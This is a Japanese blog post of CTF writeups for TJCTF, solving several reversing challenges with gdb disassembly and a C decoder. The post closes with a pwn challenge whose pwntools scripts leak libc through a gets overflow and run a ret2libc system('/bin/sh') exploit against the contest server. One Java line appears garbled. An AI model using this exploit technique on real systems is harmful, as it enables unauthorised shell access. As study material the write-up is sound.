眠いので寝ます

お勉強のメモを置いていこうと思いまふ

TJCTF writeup

久しぶりの更新、生きています。

TJCTFで僕が解いた問題のwriteupを書きます

TJCTFリンクhttps://tjctf.org/

Python in One Line (rev 10pt)

問題文
It's not code golf but it's something...

one.py This is printed when you input the flag: .. - / .. ... -. - / -- --- .-. ... / -.-. --- -.. .


ソースコードが配られる

# one.py
print(' '.join([{'a':'...-', 'b':'--..', 'c':'/', 'd':'-.--', 'e':'.-.', 'f':'...', 'g':'.-..', 'h':'--', 'i':'---', 'j':'-', 'k':'-..-', 'l':'-..', 'm':'..', 'n':'.--', 'o':'-.-.', 'p':'--.-', 'q':'-.-', 'r':'.-', 's':'-...', 't':'..', 'u':'....', 'v':'--.', 'w':'.---', 'y':'..-.', 'x':'..-', 'z':'.--.', '{':'-.', '}':'.'}[i] for i in input('What do you want to secrify? ')]))

アルファベットと符号化された対応がわかるので、デコードする。

Checker (rev 30pt)

問題文

Found a flag checker program that looked pretty sketchy. Take a look at it.

file

配られるのはjavaファイル

import java.util.*;
public class Checker{
    public static String wow(String b, int s){
        String r = "";
        for(int x=s; x<b.length()+s; x++){
            r+=b.charAt(x%b.length());
        }
        return r;
    }
	
    public static String woah(String b){
        String r = "";
        for(int x=0; x<b.length(); x++){
            if(b.charAt(x)=='0')
                r+='1';
            else
                r+='0';
        }
        return r;
    }
    public static String encode(String plain){
        String b = "";
        Stack<Integer> t = new Stack<Integer>();
        for(int x=0; x<plain.length(); x++){
            int i = (int)plain.charAt(x);
            t.push(i);
        }
        for(int x=0; x<plain.length(); x++){
            b+=Integer.toBinaryString(t.pop());
        }
        b = woah(b);
	 = wow(b,9);
        System.out.println(b);
        return b;
    }

    public static boolean check(String flag, String encoded){
        if(encode(flag).equals(encoded))
            return true;
        return false;
    }
    public static void main(String[] args){
        String flag = "redacted";
        String encoded = "1100001110000111000011000010100001110000111000010100001110000010000110010001011001110000101010001011000001000";
        System.out.println(check(flag,encoded));
    }
}

エンコード方法は文字列をasciiに変換しスタックにpush。その後スタックからpopし2進数の文字列に変換("AB"だったら0x41,0x42なので10000011000010)。その後0と1を反転させ、9個左にローテーションさせる。
デコードはその逆順を辿ればいいのだが、アルファベットをエンコードすると1文字あたり長さが7になるのだが、数字などをエンコードすると長さが6になるので('1' -> 0x31 -> 110001)、どこで区切ればいいかわからんってなったので、フォーマットがtjctf{***}であることはわかっているので、それっぽいleet表現の文字列に直した。これ全探索以外に綺麗にコードでかけないよな。

FLAG: tjctf{qu1cks1c3}

Broken Parrot (rev 40pt)

問題文
I found this annoying parrot. I wish I could just ignore it, but I've heard that it knows something special.

バイナリファイルがもらえる。

$file parrot
parrot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=ff7e4f0e71b221eb66d9be600b39895862fd9bdd, not stripped

32bit 動的リンク not stripped

$strings parrot | grep tjctf
tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}

しかしこれはダミー。gdbで開く。

$gdb ./parrot
gdb-peda$ pdisas main
Dump of assembler code for function main:
...
...
   0x0804852e <+99>:	mov    DWORD PTR [ebp-0x50],0x1
   0x08048535 <+106>:	mov    DWORD PTR [ebp-0x4c],0x0
   0x0804853c <+113>:	cmp    DWORD PTR [ebp-0x4c],0x5
   0x08048540 <+117>:	jg     0x8048569 <main+158>
   0x08048542 <+119>:	lea    edx,[ebp-0x3f]
   0x08048545 <+122>:	mov    eax,DWORD PTR [ebp-0x4c]
   0x08048548 <+125>:	add    eax,edx
   0x0804854a <+127>:	movzx  edx,BYTE PTR [eax]
   0x0804854d <+130>:	mov    eax,DWORD PTR [ebp-0x4c]
   0x08048550 <+133>:	add    eax,0x804a040
   0x08048555 <+138>:	movzx  eax,BYTE PTR [eax]
   0x08048558 <+141>:	cmp    dl,al
   0x0804855a <+143>:	je     0x8048563 <main+152>
   0x0804855c <+145>:	mov    DWORD PTR [ebp-0x50],0x0
   0x08048563 <+152>:	add    DWORD PTR [ebp-0x4c],0x1
   0x08048567 <+156>:	jmp    0x804853c <main+113>
   0x08048569 <+158>:	mov    DWORD PTR [ebp-0x48],0x0
   0x08048570 <+165>:	cmp    DWORD PTR [ebp-0x48],0x2
   0x08048574 <+169>:	jg     0x804859f <main+212>
   0x08048576 <+171>:	mov    eax,DWORD PTR [ebp-0x48]
   0x08048579 <+174>:	add    eax,0x6
   0x0804857c <+177>:	movzx  edx,BYTE PTR [ebp+eax*1-0x3f]
   0x08048581 <+182>:	mov    eax,DWORD PTR [ebp-0x48]
   0x08048584 <+185>:	add    eax,0xe
   0x08048587 <+188>:	movzx  eax,BYTE PTR [eax+0x804a040]
   0x0804858e <+195>:	cmp    dl,al
   0x08048590 <+197>:	je     0x8048599 <main+206>
   0x08048592 <+199>:	mov    DWORD PTR [ebp-0x50],0x0
   0x08048599 <+206>:	add    DWORD PTR [ebp-0x48],0x1
   0x0804859d <+210>:	jmp    0x8048570 <main+165>
   0x0804859f <+212>:	mov    DWORD PTR [ebp-0x44],0x0
   0x080485a6 <+219>:	cmp    DWORD PTR [ebp-0x44],0x16
   0x080485aa <+223>:	jg     0x80485d5 <main+266>
   0x080485ac <+225>:	mov    eax,DWORD PTR [ebp-0x44]
   0x080485af <+228>:	add    eax,0xa
   0x080485b2 <+231>:	movzx  edx,BYTE PTR [ebp+eax*1-0x3f]
   0x080485b7 <+236>:	mov    eax,DWORD PTR [ebp-0x44]
   0x080485ba <+239>:	add    eax,0x1b
   0x080485bd <+242>:	movzx  eax,BYTE PTR [eax+0x804a040]
   0x080485c4 <+249>:	cmp    dl,al
   0x080485c6 <+251>:	je     0x80485cf <main+260>
   0x080485c8 <+253>:	mov    DWORD PTR [ebp-0x50],0x0
   0x080485cf <+260>:	add    DWORD PTR [ebp-0x44],0x1
   0x080485d3 <+264>:	jmp    0x80485a6 <main+219>
   0x080485d5 <+266>:	movzx  eax,BYTE PTR [ebp-0x36]
   0x080485d9 <+270>:	cmp    al,0x64
   0x080485db <+272>:	je     0x80485e4 <main+281>
   0x080485dd <+274>:	mov    DWORD PTR [ebp-0x50],0x0
   0x080485e4 <+281>:	cmp    DWORD PTR [ebp-0x50],0x0
   0x080485e8 <+285>:	je     0x80485ff <main+308>
...
...
End of assembler dump.

main+99~main+156でinputの最初の6文字を比較している。比較するのはダミーが入っている0x804a040の中身。
main+158~main+210でinputの次の3文字と0x804a040+0xeからの3文字を比較している。
main+212~main+264でinputの11文字目から23文字と0x804a040+0x1bからを比較している。
main+266~main+270でinputの10文字目が0x64('D')であるかどうか比較している。

FLAG: tjctf{3d_D0n7_y0u_l34v3_m3_4l0n3}

don't you leave me alone ... 悲C

Invalidator (rev 70pt)

問題文
Come one, come all! I offer to you unparalleled convenience in getting your flags invalidated!

$file invalidator
invalidator: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=3583ac8cbf9f4a9128376ebaa5775ff78f9b08ba, not stripped

$strings invalidator
...
...
tjct
f{0h
_my_
4_51
mpl3
70n_
4_r3
d_h3
rr1n
6_f0
r_7h
UWVS
t$,U
...
...


しかしこれもダミー。これにxorするとかでもなくまじで関係ないやつだった。
gdbで見るとプログラムの第一引数と何かを比較する感じ。肝心なのは自作関数strcmp。

gdb-peda$ pdisas strcmp

Dump of assembler code for function strcmp:
   0x080484ab <+0>:	push   ebp
   0x080484ac <+1>:	mov    ebp,esp
   0x080484ae <+3>:	sub    esp,0x10
=> 0x080484b1 <+6>:	mov    DWORD PTR [ebp-0x4],0x0
   0x080484b8 <+13>:	jmp    0x80484cd <strcmp+34>
   0x080484ba <+15>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484bd <+18>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484c0 <+21>:	add    eax,edx
   0x080484c2 <+23>:	movzx  eax,BYTE PTR [eax]
   0x080484c5 <+26>:	test   al,al
   0x080484c7 <+28>:	je     0x8048512 <strcmp+103>
   0x080484c9 <+30>:	add    DWORD PTR [ebp-0x4],0x1
   0x080484cd <+34>:	mov    eax,DWORD PTR [ebp-0x4]
   0x080484d0 <+37>:	shl    eax,0x2
   0x080484d3 <+40>:	add    eax,0x2
   0x080484d6 <+43>:	mov    eax,DWORD PTR [eax*4+0x804a040]
   0x080484dd <+50>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080484e0 <+53>:	mov    edx,DWORD PTR [ebp+0xc]
   0x080484e3 <+56>:	add    edx,ecx
   0x080484e5 <+58>:	movzx  edx,BYTE PTR [edx]
   0x080484e8 <+61>:	movsx  ecx,dl
   0x080484eb <+64>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484ee <+67>:	shl    edx,0x2
   0x080484f1 <+70>:	mov    edx,DWORD PTR [edx*4+0x804a040]
   0x080484f8 <+77>:	xor    ecx,edx
   0x080484fa <+79>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484fd <+82>:	add    edx,0x40
   0x08048500 <+85>:	shl    edx,0x2
   0x08048503 <+88>:	mov    edx,DWORD PTR [edx*4+0x804a040]
   0x0804850a <+95>:	xor    edx,ecx
   0x0804850c <+97>:	cmp    eax,edx
   0x0804850e <+99>:	je     0x80484ba <strcmp+15>
   0x08048510 <+101>:	jmp    0x8048513 <strcmp+104>
   0x08048512 <+103>:	nop
   0x08048513 <+104>:	cmp    DWORD PTR [ebp-0x4],0x28
   0x08048517 <+108>:	sete   al
   0x0804851a <+111>:	movzx  eax,al
   0x0804851d <+114>:	leave  
   0x0804851e <+115>:	ret 

どうやら0x804a040からのデータと比較している。
これもgdbで見てみよう。

gdb-peda$ x/20x 0x804a040
0x804a040 <r>:	0x0000004d	0x00000071	0x00000059	0x000000a1
0x804a050 <r+16>:	0x000000bb	0x00000040	0x000000f9	0x0000000e
0x804a060 <r+32>:	0x0000004b	0x00000085	0x000000a8	0x0000003a
0x804a070 <r+48>:	0x000000ca	0x00000052	0x0000009c	0x00000082
0x804a080 <r+64>:	0x00000014	0x0000008a	0x000000ca	0x00000077

明らかに人の手で作り込んだようなデータがある。しかもrというシンボル名が付いている。

$readelf -s ./invalidator
...
...
52: 0804a040  2048 OBJECT  GLOBAL DEFAULT   25 r
...
...

 $hexdump -C ./invalidator | grep 4d

000004d0  c1 e0 02 83 c0 02 8b 04  85 40 a0 04 08 8b 4d fc  |.........@....M.|
00000540  4d f4 31 c9 83 38 01 7f  20 8b 45 b4 8b 00 83 ec  |M.1..8.. .E.....|
00000610  ff 8b 4d fc c9 8d 61 fc  c3 66 90 66 90 66 90 90  |..M...a..f.f.f..|
000007b0  69 0e 24 44 0e 28 44 0e  2c 41 0e 30 4d 0e 20 47  |i.$D.(D.,A.0M. G|
00001040  4d 00 00 00 71 00 00 00  59 00 00 00 a1 00 00 00  |M...q...Y.......|
000014d0  33 00 00 00 14 00 00 00  6f 00 00 00 55 00 00 00  |3.......o...U...|
00001680  a2 00 00 00 9d 00 00 00  0d 00 00 00 4d 00 00 00  |............M...|
00001710  c2 00 00 00 7f 00 00 00  4d 00 00 00 19 00 00 00  |........M.......|
00001dc0  4d 45 5f 45 4e 44 5f 5f  00 5f 5f 4a 43 52 5f 45  |ME_END__.__JCR_E|
00001de0  79 5f 65 6e 64 00 5f 44  59 4e 41 4d 49 43 00 5f  |y_end._DYNAMIC._|
00001e00  74 00 5f 5f 47 4e 55 5f  45 48 5f 46 52 41 4d 45  |t.__GNU_EH_FRAME|
00001e30  63 5f 63 73 75 5f 66 69  6e 69 00 5f 49 54 4d 5f  |c_csu_fini._ITM_|
00001e40  64 65 72 65 67 69 73 74  65 72 54 4d 43 6c 6f 6e  |deregisterTMClon|
00001f40  73 73 65 73 00 5f 5f 54  4d 43 5f 45 4e 44 5f 5f  |sses.__TMC_END__|
00001f50  00 5f 49 54 4d 5f 72 65  67 69 73 74 65 72 54 4d  |._ITM_registerTM|
000024d0  00 00 00 00 01 00 00 00  01 00 00 00 11 00 00 00  |................|

readelfでサイズが2048、hexdumpで最初の4dを調べて見ると0x1040からrがあることがわかる。(他になんか便利なコマンドあったはずだが忘れた)

solve.cではrは実際には4バイトずつにしか値が入ってないので長さ512の配列を用意して、バイナリファイルから直に読み込んだ。デコードする操作はアセンブリをみて理解する。

//solve.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
	char r[512];
	int fd;
	fd = open("./invalidator", O_RDONLY);
	if(fd < 0){
		printf("error");
		exit(0);
	}

	int i;
	for(i = 0; i < 512; i++){
		lseek(fd, 0x1040+i*4, SEEK_SET);
		read(fd, &(r[i]), 1);
	}
	char flag;
	for(i = 0; i < 0x29; i++){
		flag = r[i*4+2] ^ r[i*4] ^ r[(i+0x40)*4];
		printf("%c", flag);
	}
	printf("\n");
	return 0;
}

FLAG: tjctf{7h4nk_y0u_51r_0r_m4d4m3_v3ry_c00l}

Silly Sledshop (pwn 80pt)

問題文
Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.

Lesson: nothing stops Omkar.

He will go sledding whenever and wherever he wants.

nc p1.tjctf.org 8010


ご丁寧にcのソースまである。

#include <stdio.h>
#include <stdlib.h>

void shop_setup() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
}

void shop_list() {
    printf("The following products are available:\n");
    printf("|  Saucer  | $1 |\n");
    printf("| Kicksled | $2 |\n");
    printf("| Airboard | $3 |\n");
    printf("| Toboggan | $4 |\n");
}

void shop_order() {
    int canary = 0;
    char product_name[64];

    printf("Which product would you like?\n");
    gets(product_name);

    if (canary)
        printf("Sorry, we are closed.\n");
    else      
        printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);
}

int main(int argc, char **argv) {
    shop_setup();
    shop_list();
    shop_order();
    return 0;
}

shop_orderのgetsでoverflowが起こせる。自作canaryは0にすることもできるが、上書きしてしまっても今回は問題ない。
まずはrpでpop,retのガジェットを検索して、putsを利用し、puts@gotとgets@gotの中身をリークし、サーバーのlibcを特定する。

# leek.py

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'
		
HOST = "p1.tjctf.org"
PORT = 8010
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./sledshop')

puts_plt = 0x80483f0
gets_got = 0x804a014
puts_got = 0x804a01c
pop_edx_ret = 0x08048395

payload = "A"*0x50
payload += p32(puts_plt)
payload += p32(pop_edx_ret)
payload += p32(gets_got)
payload += p32(puts_plt)
payload += "AAAA"
payload += p32(puts_got)


conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")
libc_gets = conn.recvline()
libc_puts = conn.recvline()
print "libc_gets = " + hex(u32(libc_gets[0:4]))
print "libc_puts = " + hex(u32(libc_puts[0:4]))

conn.interactive()

getsとputsのアドレスがわかったら、
https://libc.blukat.me/
に入力してlibcを特定、/bin/shとsystemのオフセットも特定。このサイトマジで便利だな。

あとはASLRを回避するためにputsのアドレスをリークしつつ、もう一度shop_order関数に戻り、もう一度getsに対してoverflowを仕掛ける。

#solver.py

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

				
HOST = "p1.tjctf.org"
PORT = 8010
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./sledshop')
#in libc
system_offset = 0x3a940
binsh_offset = 0x15902b
puts_offset = 0x5f140

puts_plt = 0x80483f0
puts_got   = 0x804a01c
pop_edx_ret = 0x08048395

shop_order = 0x80485bc

payload = "A"*0x50
payload += p32(puts_plt)
payload += p32(shop_order)
payload += p32(puts_got)

conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")
libc_puts = conn.recvline()

libc_puts = u32(libc_puts[0:4])
print "libc_puts = " + hex(libc_puts)

libc_base = libc_puts - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print "system_addr = " + hex(system_addr)
print "binsh_addr = " + hex(binsh_addr)
payload = "A"*0x50
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)
 
conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")

conn.interactive()

FLAG: tjctf{5l3dd1n6_0mk4r_15_h4ppy_0mk4r}

総括

この間、人の書いたwriteupをみてlibcを特定するサイトを知ったのだが、早速使える場面が来て、嬉しい。最近rev,pwn担当として、非力ながらチームに参加させてもらったので、頑張っていきたい。

てかCTF楽しい。早く研究室とか就活とか終わらせて、卒業したい。社会人になったらやる元気あるのかな。

今後もよろしくお願いしますわ。